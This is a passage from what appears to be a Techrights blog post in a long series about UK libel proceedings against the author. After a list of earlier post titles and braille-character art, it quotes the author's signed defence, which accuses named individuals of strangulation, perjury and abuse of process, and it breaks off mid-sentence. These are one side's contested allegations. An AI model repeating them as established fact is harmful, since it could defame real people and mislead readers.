Arrest_for_Strangulation_is_"Malice" 2026- SLAPP_Censorship_-_Part_61_Out_of_200:_Garrett_and_Graveley_Must_Understand_That 04-29 Reporting_Women's_Issues_in_the_United_States_of_America_(“the_US”)_is_Not Impermissible 2026- SLAPP_Censorship_-_Part_62_Out_of_200:_Garrett_and_Graveley_Issue_Astounding 04-30 Copy-Paste_Masterpiece_Asserting_Publicly-Accessible_Embarrassing_Facts_Must Remain_Hidden 2026- SLAPP_Censorship_-_Part_63_Out_of_200:_Graveley_as_a_Stripped-Down_Version_of 05-01 Garrett_in_the_Particulars_of_Claim_(5RB_Barrister_Could_Do_This_in_One_Minute) 2026- SLAPP_Censorship_-_Part_64_Out_of_200:_Not_Amused_by_Repeated_Threats_(to_"Shut 05-02 Down"_My_"Existence"_While_Mentioning_My_Wife_Too) 2026- SLAPP_Censorship_-_Part_65_Out_of_200:_Graveley_and_Garrett_Claims_Are_Word-by- 05-03 Word_Similar_(They_Also_Collaborated_All_Along) 2026- SLAPP_Censorship_-_Part_66_Out_of_200:_Alex_Graveley_Did_Illegal_Things,_Then 05-04 Asserted_Mentioning_Those_Illegal_Things_is_Privacy_Violation 2026- SLAPP_Censorship_-_Part_67_Out_of_200:_Graveley_and_Garrett_Claims_Against_My 05-05 Wife_and_I_Assert_'Distress',_But_It_Was_Just_a_Copy-Pasted_Template_(Mechanical Crocodile_Tears) 2026- SLAPP_Censorship_-_Part_68_Out_of_200:_Based_on_Their_Particulars_of_Claims, 05-06 Microsoft's_Graveley_and_Garrett_Seem_Like_the_Same_Person_(Exactly_Same_Words Used,_Sloppily_Recycled) 2026- SLAPP_Censorship_-_Part_69_Out_of_200:_Microsoft's_Graveley_Strangles,_Gets 05-07 Arrested,_Charged,_Then_Asks_for_Apology_From_Those_Who_Reported_It_by_Recycling Garrett's_Plea_for_Apology 2026- SLAPP_Censorship_-_Part_70_Out_of_200:_Microsoft's_Graveley_Injunction_Request 05-08 100%_the_Same_as_Garrett's_(Pure_'Copy-paste',_Not_Even_a_Word_or_Single Character_Changed!) 2026- SLAPP_Censorship_-_Part_71_Out_of_200:_5RB_Barristers_Made_Tens_of_Thousands_of 05-09 Pounds_by_Changing_From_Plural_to_Singular_for_Microsoft's_Graveley_and_Garrett 2026- SLAPP_Censorship_-_Part_72_Out_of_200:_Microsoft's_Graveley_and_Garrett_Signed 05-10 Documents_That_Hold_Them_Accountable_to_Truth_and_Liable_for_Lies 2026- SLAPP_Censorship_-_Part_73_Out_of_200:_Microsoft's_Graveley_and_Garrett_Remain 05-11 Closely_Connected_in_May_2026_("Tag-Teaming"_Against_Bloggers_in_Another Continent) * Update_on_Slop_About_"Linux" * statCounter_Cannot_'See'_Chinese_Operating_Systems_That_Gain_Many Millions_of_Users_Per_Month ⣋⡽⣎⣉⠙⠷⢾⣨⡙⣥⢏⠯⢺⡽⢁⣤⣄⠄⠼⣷⣿⡿⣟⣫⣶⣩⣕⢏⠷⠖⡂⣢⢆⣼⣷⡃⠸⣿⣯⠿⢿⣯⣿⣻⡿⣿⡟⣻⣿⡿⣯⣿⣿⣿⢿⣿⣿⣻⣿⣽⣹⣿⣿⣿⣻⣫⣽⡿⣷⡿⣿⣿⣿⣪⡗⣻⣿⣽ ⣻⠲⠎⣉⠵⢖⣵⠿⡺⣖⣧⣈⣛⢶⢻⠬⡞⢚⡖⠷⠬⣯⣏⣻⣦⡾⣼⠛⡷⡚⠣⡶⠮⣁⢨⣅⢸⣿⣥⣴⣿⢻⣿⣿⣟⡿⣟⣻⣿⣟⣿⣿⡽⣿⣿⢣⡟⢿⣭⣿⢭⣽⣿⣿⣿⣿⣿⣟⣿⣯⣽⣯⣺⢭⡿⣿⣟⣭ ⢯⣝⣛⢯⢷⣵⡠⣫⣯⡊⠟⢕⡄⠭⠀⣝⣗⠶⣇⡻⣷⡲⢻⢥⣎⣟⢁⢘⣿⢚⢻⣏⣩⢝⣲⡅⢸⣿⣿⣿⣽⣿⣿⣟⣷⣿⡒⣿⣿⣿⣾⣿⣿⣿⣿⣿⣻⣿⣿⡿⣻⣽⢿⣿⣷⣯⣷⣿⣾⣣⡇⠼⣷⣝⡟⣽⣓⣷ ⣿⡼⣫⣮⣿⣿⣷⣿⣗⢮⡷⣿⠹⣷⣿⣫⡋⣿⢷⣆⣱⢉⣽⡾⣶⣛⣵⠿⠝⡽⣮⡾⢯⣗⣛⡃⠳⣿⣟⣿⡿⢾⣿⣿⢿⣿⣿⣽⡿⢏⣿⣽⣭⣽⣿⣿⢿⣪⣕⣻⣻⣿⣯⣴⢿⣽⣿⣷⣼⣯⡾⣗⣶⣨⣟⣫⣩⣷ ⣭⣕⣾⢾⣟⡿⠿⣻⡧⢵⡟⣸⣧⣹⢺⡵⢋⢧⣿⠛⢷⣿⣪⠾⣧⣤⣁⢫⡗⢚⣽⢆⡗⠮⣐⣃⡾⠓⢁⠉⠉⠈⠘⠛⠻⠷⠙⠛⣼⣿⣷⢿⣿⢟⣿⠿⣿⣿⣿⢭⣶⣿⣿⣺⣿⡥⣻⣶⣾⣿⣾⣯⡻⣟⣿⣿⣿⣿ ⡿⢮⣱⣼⣼⣿⣗⣷⡟⣻⣏⡿⡭⢟⣿⣳⣶⣭⣷⣳⣿⣿⡞⢫⣻⣿⢧⣿⠉⠉⢠⡟⠑⠚⠁⡀⠀⠀⠀⠀⠀⠠⣀⠒⢀⠀⠠⠀⠈⠙⠿⢿⠿⢿⣿⣾⣯⣿⣿⣯⡽⢽⣽⢿⣿⣮⣿⣿⣿⣽⣿⣭⣿⣿⣿⣿⣿⣿ ⢿⣷⢿⣓⣿⡽⣿⣪⣾⣭⣷⣿⠯⣿⣵⣟⣿⣶⣿⣿⣽⣳⢿⡯⣳⣒⣮⠗⠀⠈⠀⠀⠀⠈⡤⡄⠀⠀⠉⠁⠀⡀⠚⠄⡀⠈⠀⠀⣀⢀⠀⠀⠈⠙⠻⣿⡿⣷⣿⣿⣾⡿⠿⢟⣧⣟⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣻⣽ ⣾⣭⣿⠾⡿⢿⣟⣽⣟⡶⣾⢿⡿⡿⡟⣽⣿⡿⣿⣶⠐⣬⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠔⠄⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠋⠀⠀⠀⠈⢻⣿⣽⣿⣿⢿⣿⡿⣿⣿⣿⣟⣛⡻⣟⣻⣽⣟⣻⣷⣳⣿ ⣟⣷⣿⣽⠟⣧⣽⣿⣿⣿⣿⣾⣟⣹⣿⢟⣻⣽⣟⡗⢋⣯⣽⢟⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢳⣿⡭⢻⠾⢿⣯⣹⣷⣿⣿⣿⣿⢾⣿⣿⣿⣿⣿⣿ ⣯⣿⣿⣿⣿⣿⣿⣾⡽⣗⣾⣿⣿⣿⣿⣺⢫⣲⣿⣿⣶⣿⣋⢌⡆⠀⠀⠀⠀⠀⢀⣀⣤⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣯⣽⣿⣿⣿⣿⣿⣿⣽⣟⣿⣿⣿⣿⣿⣽⣿⣿⣿ ⣿⣿⣿⣻⣿⣿⢿⣿⣿⣿⣿⡿⣿⣿⡶⢿⣿⣿⣿⣯⣿⣿⡽⡁⠖⠀⠀⠀⣠⣸⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣷⣶⣄⠀⠀⠀⠀⠀⠀⠈⣽⣿⣿⢿⣿⣿⣿⣟⣿⣿⣿⣿⣶⣿⣿⣿⡿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣹⣻⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡥⠁⠀⠀⢠⣾⣿⣿⣿⣷⣾⣿⣿⣿⣷⣶⣤⣤⣤⣤⣶⣶⣿⣾⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⢘⣿⣿⣿⡶⣾⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿ ⣿⣿⠿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⠹⡿⣿⠂⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⣟⣿⣿⣿⣿⣿⣿⣿⣷⣮⣭⣯⣿⣿⣾⣿⣻ ⡿⣿⣿⣾⣿⣿⣿⣿⣯⣟⣿⣿⣿⡛⣀⣶⠿⠿⠛⠿⢔⠈⣵⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠛⠋⠐⠉⠉⠉⠉⠙⠛⠉⠉⠉⠉⠉⠉⠉ ⣀⡀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⣀⣄⣠⣄⣤⣿⣾⢟⢶⣺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⡤⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿ ⣿⣿⣿⣿⢿⣿⣿⣿⣿⡿⡻⣿⣿⡿⢿⢿⣿⣿⢿⣿⣧⣿⣾⠏⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠈⠇⢠⣿⠟⢏⣻⣛⣻⠿⣟⡽⢿⣻⣿⢿⣿⡟ ⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣽⣿⣿⣿⣿⡟⠈⠁⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢈⠲⣺⠭⡡⣶⣻⣍⢽⣯⣍⢻⣫⡃⣵⣿⣭ ⣛⣿⣿⣿⣿⣷⣿⣽⣿⣷⣾⣿⣿⣿⣽⣝⣿⣿⣽⣿⣇⠀⠀⢸⣿⣿⡿⠛⠉⠉⠉⠉⠉⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⣿⣿⣿⠀⠀⠀⠸⡟⣌⠭⠭⢔⠅⠪⡵⢆⢿⡻⣴⣄⢵⡷⢿ ⣿⣟⡿⣿⣛⣷⢞⣿⣿⡾⣿⡿⣯⣾⣟⣿⣿⣇⣄⡺⣃⠀⠀⢸⣿⠁⠀⣀⣠⣠⣤⣄⣀⠀⠀⠀⠀⠙⢻⣿⣿⣿⣿⣿⣿⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠋⢿⠆⠀⠀⠈⠀⠊⠀⠐⠀⠀⠄⠁⠀⠱⠗⡑⠙⠨⠟⡯ ⠿⣟⣽⣯⣿⠿⣿⣿⣿⣾⠝⣿⣽⢿⣿⣿⣽⣿⣿⣿⣿⡀⠀⣿⡿⣆⣠⡿⠟⠉⠉⠉⠉⠀⠀⠀⠀⠀⢺⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠰⠦⠤⠀⠀⠀⢘⠀⠀⠀⠁⠀⠀⢀⠓⠐⠀⢀⠀⠄⠢⠀⡈⠂⠂⠀⡀ ⣿⣿⣿⣿⠿⣿⡿⣿⣾⣿⣞⡿⣿⣿⣼⢯⣏⣿⠉⣹⣿⡇⢀⣿⣿⣿⣿⣷⣤⣤⣦⡀⠀⢀⡀⠀⢀⣰⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⣀⣶⡄⢠⣶⣿⣧⠀⠀⠀⠀⠂⠂⠀⠀⡁⠀⠂⢁⠀⠐⠐ ⣿⣿⣿⣿⣭⣼⣿⣿⣹⣻⣿⣟⣿⣿⣿⣏⣴⣿⣠⣿⣿⡇⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣦⣤⣤⣾⣶⣶⣶⣿⣿⣿⡇⢸⠟⡁⢸⠐⠀⠀⠀⠀⠀⠄⠀⢀⡀⠀⠀⠉⠀⠀ ⣿⣿⣿⣷⣷⣿⡿⣿⣿⣟⣽⣽⣻⣷⣭⣿⣿⣿⣿⣿⣿⠁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⢨⣾⣧⣸⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⢀⠐⠀ ⡿⣷⣯⣽⣿⣿⣟⣾⣟⣟⣿⡹⢞⣻⡭⠛⠑⣿⣿⣿⡿⢈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡯⠀⢿⣿⣿⠈⠐⠀⠀⠀⠀⠀⠠⠀⠀⠀⢀⠀⠀⠀ ⣍⣽⣽⢿⣿⣿⣿⣿⣛⣣⣹⣿⣿⠾⢴⡍⣚⣻⣿⣿⣿⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠑⠠⣾⣿⡟⠀⢀⠀⠀⠀⠠⠀⠀⠀⠀⠀⢀⠀⠀⠀ ⣿⣿⣿⣾⣯⣿⣗⣼⡿⣿⣝⣯⡛⢚⡺⣒⡿⢋⠿⣿⣿⢰⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⢿⣿⣿⡿⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠠⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⡷⣿⢿⢭⡣⢖⣹⣐⡪⢴⢍⣛⡭⠟⠀⠀⢼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠧⠀⠀⠀⠈⠁⠀⠀⠀⠰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠈⠈⠀⠀⠀⠈ ⣿⣿⣿⣻⣿⣿⣟⣻⣷⣯⡷⣝⢣⠞⣒⢒⡀⠃⠃⣬⢥⡀⠀⢈⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠿⢿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠈⠁⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠄⠀⠀⠀⠐⠀⠀ ⣵⡟⣿⣿⣿⣿⣽⣿⣿⡿⣃⢰⡳⠚⠱⠶⠷⢚⠃⠂⠐⠀⠀⠈⢻⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⢀⣀⣰⣦⣤⣤⣤⣀⠀⠀⠀⠀⠐⠹⣿⣿⣿⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⡿⣿⠟⣿⣿⣿⣧⠿⢃⠬⢍⠣⠈⢠⠐⠐⠀⠐⠂⠀⠀⠀⠈⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⣀⣠⣭⣭⣉⣉⣉⣉⣉⠙⠂⠀⠀⠀⠀⠘⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣷⣻⣻⣿⣟⣿⣿⣓⡚⡛⠠⢀⡀⠂⠀⠀⠀⠀⠀⠀⠀⠆⠀⠀⠈⠀⠚⡿⠀⠀⠀⠀⣠⢿⢿⠿⠿⠿⠛⠿⠿⠿⣿⣷⣦⣀⠀⠀⠀⠀⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⡟⡏⠟⡰⢺⣢⠷⠂⠀⠂⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠃⠀⠀⢀⢞⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠉⢸⡀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣯⣽⣽⣻⡝⡴⠍⠣⠂⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠌⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣷⠿⢻⢋⣼⢌⡠⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⣘⣰⣯⣄⡀⠀⠀⠀⠀⠠⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⠬⡋⡙⠅⡈⠈⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⠀⠀⠀⠀⠀⠘⠒⢿⣿⠛⠃⠀⠀⠀⠈⡎⢀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢛⠗⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣧⡀⠀⠀⠀⢀⢺⡿⠃⠀⠀⠀⠀⠀⠁⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠍⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣷⣄⡄⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣷⣤⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣼⣿⣿⣿⣿⣿⣿⣧⡑⢦⣤⡤⢴⠦⠦⠦⠤⠦⠴⠶⠶⠦⠴⠶⠶⠦⠴ ⠿⠿⠛⠛⠗⠚⠑⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣷⣿⣿⣷⣦⠤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣍⢹⣷⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣦⣴⠤⠆⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣁⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠃⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣾⣼⣶⠈⣈⣀⣀⠀⢸⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣄⣀⣀⣀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣶⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡖⣶⣾⣿⣿⣿⣷⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢀⣀⣤⣴⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠛⠛⠻⠿⠿⣿⣿⠿⠛⠛⠛⠻⠿⠿⠿⠟⠛⠛ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠋⠉⠉⠁⠘⣿⣿⣮⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ䷩ 𝚕𝚒𝚗𝚎 3353 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/SLAPP_Censorship_Part_75_Out_of_200_All_True_All_Verifiable_Unl.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/SLAPP_Censorship_Part_75_Out_of_200_All_True_All_Verifiable_Unl.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ SLAPP Censorship - Part 75 Out of 200: All True, All Verifiable, Unlike Garrett and Graveley Lying to at Least Three High Court Judges About What They Did⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Matt_Graveley:_Cannot_silence_Roy._Here,_buddy,_use_my barrister_to_fling_another_SLAPP_at_him.⦈_ As noted before, Garrett and Graveley have_a_"contempt_of_court"_problem (an offence that, if proven, can result in prison terms although they_hide_in America). Maybe they just genuinely believe they're above the law and moreover command the courts in another_continent. Look at the notorious_hired_guns they chose to represent them. Notoriously "macho" firm fronting for absurdly "macho" men (who are hostile towards women, partly because of insecurities if not psychotic megalomania). I get death threats or threats_to_"shut_down"_my "existence"_(alluding_to_my_wife_as_well). Almost a year ago I signed my counterclaim as follows, genuinely believing every word that I wrote (Garrett has already admitted under oath that prior statements he signed with a "statement of truth" were in fact false and hence likely perjury/contempt of court). ===============================================================================   IVSTATEMENT OF TRUTH   I believe that the facts stated in this Defence are true. I understand that proceedings for contempt of court may be brought against anyone who makes, or causes to be made, a false statement in a document verified by the statement of truth without and honest belief in its truth.     Signed: Name: Dated this 15th day of July 2025   Appendix I to Appendix IX, or key facts, follow.         VAppendices V.1Appendix I: Defendant’s Remarks   1. A.As a closing remark or assorted thoughts that did not fit into the core structure of the Defence, it must be emphasised that the Defendant strongly disputes the legitimacy or any alleged “good faith” with which the claim was advanced. Three parties sought to benefit from this, not the Claimant, which claims to be footing the bill despite me showing to the law firm that he lacks the funds, citing a police report with his bank balance at the time of his arrest (after which he lost his job at Microsoft). It’s very probable that a third party – a person or company – subsidises these legal actions, either partly or in full. Brett Wilson LLP was asked about this at least four times and each time it refused to answer very simple and polite questions. Instead it resorted to name- calling.    1. B.In this case, one can suppose the Barrister would know best why the two documents are not really dissimilar – except particular sections - and whether the clients are aware and pleased with this, more so if they pay based on the number of claims, number of pages/words etc.    1. C.It seems wholly inappropriate if not smug to issue many threats to a person, then fling many "offers" to settle whilst even calling those "offers" (after attempted extortion) "extremely generous" (direct quote from the latest such “offer”). That’s being done while in the very same "generous" offer (that's being framed as "extremely generous") it says "this is not an empty threat". It also serves to show that the claims put forth at the end were seen as incredibly weak and lacking in merit all along. Indeed, many are based on lies told by the Claimant, in effect misleading the law firm and barrister (or worse – they know that to be false and proceed regardless).    2. D.This is not about justice, it is just bullying. It is a overt misuse of the British legal system, including documents deposited digitally at the court’s online docket (uploaded PDFs) on behalf of foreign citizens from America, leveraged against British people who did nothing wrong.    1. E.The claim is an abuse of process. It has not been brought for  a genuine purpose. As I have said at paragraphs 1-5, the Claimant does not have a reputation in England, he has no reputation globally either, he is merely reusing someone else's claim while collaborating with its initiator – i.e. barrister, lawyer, and client etc.    1. F.The claim should be dismissed at an early, preliminary stage. It was brought in order to put pressure on the Defendant to settle claim number KB-2024-001270; it is known the Garrett Case. Between February 2024 and until now the Defendant and his wife, who was also sued, counter-sued Garrett. The abuse of the system is a remarkable pattern as well; it is being done over and over again by the same legal team for a team of clients who aren't random or disjoint, they're inseparable and possibly funded by the same people. Their long history overlaps aplenty.    1. G.Particulars of this will be provided also here in the appendixes, including the pattern of communication (Appendix V).    1. H.Aside from this, to rehash some of the many similarities (there is also evidence in the form of images and videos, but those do not 